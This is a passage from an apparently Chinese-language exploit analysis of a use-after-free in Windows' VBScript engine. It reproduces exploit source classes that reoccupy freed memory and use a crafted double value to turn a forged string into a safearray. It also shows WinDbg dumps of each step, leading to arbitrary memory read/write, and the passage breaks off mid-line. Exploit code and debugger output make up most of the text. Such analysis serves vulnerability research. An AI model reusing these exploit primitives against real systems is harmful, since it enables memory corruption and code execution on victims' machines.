代码语言:javascript复制Class cla4 Dim mem Function P End Function Function SetProp(Value) IsEmpty("enter cla4:SetPro") mem=0 mem=Value '这一步会调用cla6的Get P SetProp=0 End Function End Class
在Get P中实现了又一次的占位与一次类型的替换:
代码语言:javascript复制Class cla6 Public Default Property Get P 'Property Get 语句 用来取得(返回)的值 IsEmpty("cal6:call Get P") Dim cla5_obj1 'CDbl是转换成双精度浮点数据类型 ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0 P=CDbl("174088534690791e-324") 'P是返回值 对cla4_mem赋值,把string改为array类型 For i=0 To 6 'array_b保存了cla1 object的引用,而cla1 object被释放后是由 array_b(i)=0 'cla4_obj1占位的。array_b赋值为0,也就是将cla4_obj1的内存释放了 Next IsEmpty("finish set array_b to 0") Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位, cla5_obj1.mem=str_1 '并对cla5.mem赋值伪造的字符串 7fffffff的safearray, 'str_1=Unescape("ࢀ 翿 ") IsEmpty(cla5_obj1) For i=0 To 6 Set array_b(i)=cla5_obj1 Next End Property End Class
调试:cla6 Get P中的第一个IsEmpty :
代码语言:javascript复制//打印一个标记,表示进入Get P函数: 0:005> dd poi(esp c) 01cd08a8 00000008 00000000 01cc7fb4 00000000 01cd08b8 00000000 00000000 00000000 00000000 01cd08c8 00000000 00000000 00000000 00000000 01cd08d8 00000000 00000000 00000000 00000000 01cd08e8 00000000 00000000 00000000 00000000 01cd08f8 00000000 00000000 00000000 00000000 01cd0908 712f0000 01cb2564 01cd2440 712f4211 01cd0918 0249c720 01cd0938 01cb2560 712f4211 0:005> du 01cc7fb4 01cc7fb4 "cal6:call Get P"
第二个IsEmpty:
代码语言:javascript复制0:005> dd poi(esp c) 01cd08a8 00000008 00000000 01cc7fdc 0000200c 01cd08b8 02490002 01cd2fa8 01cb0006 0249c454 01cd08c8 02490002 01cd2fa8 01cb0001 0249c454 0:005> du 01cc7fdc 01cc7fdc "finish set array_b to 0"
Free之前的占位
还记得上面分析UAF里面的第一次cla4_obj1对Trigger的占位吗,现在再次查看下这个地址:
代码语言:javascript复制// For i=0 To 6 // array_b(i)=0 // Next //由于重新进行了调试,这一次的地址是1cb2528,最近的这条日志可以打印出这个地址 Class cla4 at 1cb2528, terminate called 0:005> dd 1cb2528 01cb2528 712f00d4 00000000 00000000 00000000 //原本占位在这里的cla4_obj1的内存被释放了 01cb2538 000003ec 00000000 00000000 00000000 01cb2548 00000000 002de2a4 00000000 00000000 01cb2558 59acc226 88008da0 712f1748 00000001 01cb2568 01cb5210 003be638 000003ec 00000000 01cb2578 00000000 00000000 00000000 002a613c 01cb2588 00000000 01cb24f0 59acc23f 8c000000 01cb2598 712fce78 71303100 713030f0 00000002 0:005> !heap -a -p 1cb2528 ********************************************** the `!heap -p' commands in exts.dll have been replaced with equivalent commands in ext.dll. If your are in a KD session, use `!ext.heap -p` ********************************************** 0:005> !heap -p -a 1cb2528 address 01cb2528 found in _HEAP @ 3b0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 01cb2520 0007 0000 [00] 01cb2528 00030 - (free) //堆回溯查看已经被free
重新占位,伪造数据结构
第三次断点,此时再次进行占位,使用的是cla5_obj1;
代码语言:javascript复制//源码 Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位, cla5_obj1.mem=str_1 IsEmpty(cla5_obj1) '这个str1是一个全局变量, 'str_1=Unescape("ࢀ 翿 ")
代码语言:javascript复制Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd 01cb2528 //可以直接查看前面一步被free的地址,已经再次占位成功 01cb2528 712f1748 00000002 01c***f0 003be638 //这个01c***f0是cla5.mem的地址 01cb2538 000003ec 00000000 00000000 00000000 01cb2548 00000000 002de344 00000000 01cb2560 01cb2558 59acc226 88008da0 712f1748 00000001 01cb2568 01cb5210 003be638 000003ec 00000000 01cb2578 00000000 00000000 00000000 002a613c 01cb2588 01cb2528 01cb24f0 59acc23f 8c000000 01cb2598 712fce78 71303100 713030f0 00000002 0:005> du 002de344 002de344 "cla5" //源码 cla5_obj1.mem=str_1 0:005> dd 01c***f0 01c***f0 01cb74a8 000000b8 00000100 00000100 01cb5100 00004000 01cb74ac 01cb754c 01cb3e30 01cb5110 0000000f 00000003 00000040 00000003 01cb5120 00000014 01cb5128 01cb74ac 01cb74f4 01cb5130 01cb752c 00000475 00000000 01cb5100 01cb5140 01cb5114 00000002 00000000 00000477 01cb5150 0000047d 000015c6 00000002 00000000 01cb5160 0000047e 00000482 00000bfc 00000012 0:005> dd 01cb752c 01cb752c 00000008 00000000 002de2f4 00000000 //0x08是类型,代表的vbstring,后面会把这个类型改为safearray即0x200c 01cb753c 00000000 00000000 0000822f 00000006 01cb754c 00000000 00000000 00000003 01cb752c 01cb755c 0065006d 0000006d 00000b19 00000b5b 01cb756c 00000000 01cb749c 01cb7540 00000001 01cb757c 00000000 00000b65 00000b69 01cb7824 01cb758c 00000001 00000000 00000b6a 00000b6e 01cb759c 01cb7824 00000002 00000000 00000b6f //看伪造的这个类似于数组的字符串,它的元素有7fffffff个,每个元素占一字节,元素内存地址为0,那它能访问的内存空间是0-0x7fffffff //如果现在类型变为safearray,就能够实现全址读写 //str_1=Unescape("ࢀ 翿 ") 0:005> dd 002de2f4 002de2f4 08800001 00000001 00000000 00000000 002de304 7fffffff 00000000 00000000 585693f7 002de314 88000000 0000000e 81ea6765 98757f51
双精度浮点数完成类型混淆的原理
Get P 执行完成后,P作为返回值返回给cla4.mem成员变量中,那么P是什么:
代码语言:javascript复制//源码中; P=174088534690791e-324 //优化后这样的: P=CDbl("174088534690791e-324") //CDbl是vbs中的吧表达式转化为双精度类型的一个函数 174088534690791 e-324 是174088534690791的-324平方 用c语言计算为:printf("%I64xn",174088534690791e-324); 为,200c00000000, 由它是vbDouble类型,前面会有一个0x05的标志, 最终在内存中P的值为:00000005 00000000 00000000 0000200C
再次查看mem地址;
代码语言:javascript复制0:005> dd 01cb752c 01cb752c 0000200c 00000000 002de2f4 00000000 //类型被改为200c,代表着safearray类型01cb753c 00000000 00000000 0000822f 00000006 01cb754c 00000000 00000000 00000003 01cb752c 01cb755c 0065006d 0000006d 00000b19 00000b5b 01cb756c 00000000 01cb749c 01cb7540 00000001 01cb757c 00000000 00000b65 00000b69 01cb7824 01cb758c 00000001 00000000 00000b6a 00000b6e 01cb759c 01cb7824 00000002 00000000 00000b6f 0:005> dd 01cb752c-c 01cb7520 00000005 00000000 00000000 0000200c //这个就是P在内存中的值01cb7530 00000000 002de2f4 00000000 00000000 01cb7540 00000000 0000822f 00000006 00000000 01cb7550 00000000 00000003 01cb752c 0065006d 01cb7560 0000006d 00000b19 00000b5b 00000000 01cb7570 01cb749c 01cb7540 00000001 00000000 01cb7580 00000b65 00000b69 01cb7824 00000001 01cb7590 00000000 00000b6a 00000b6e 01cb7824 //为什么是从mem地址-c开始的,,这个-c的位置,是原来没有被释放的时候的cla4_obj1.mem的地址, //就是P修改的是释放前的mem的地址,释放前与占位后的mem相差0x0C字节, //00000005 00000000 00000000 0000200C这个数,刚好从0c的位置写入了0x200c
最终实现了 vbstring→safearray的类型转换,cla5.mem最终拿到任意地址读写权限
在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法,
代码语言:javascript复制伪造的字符串: str_2=Unescape("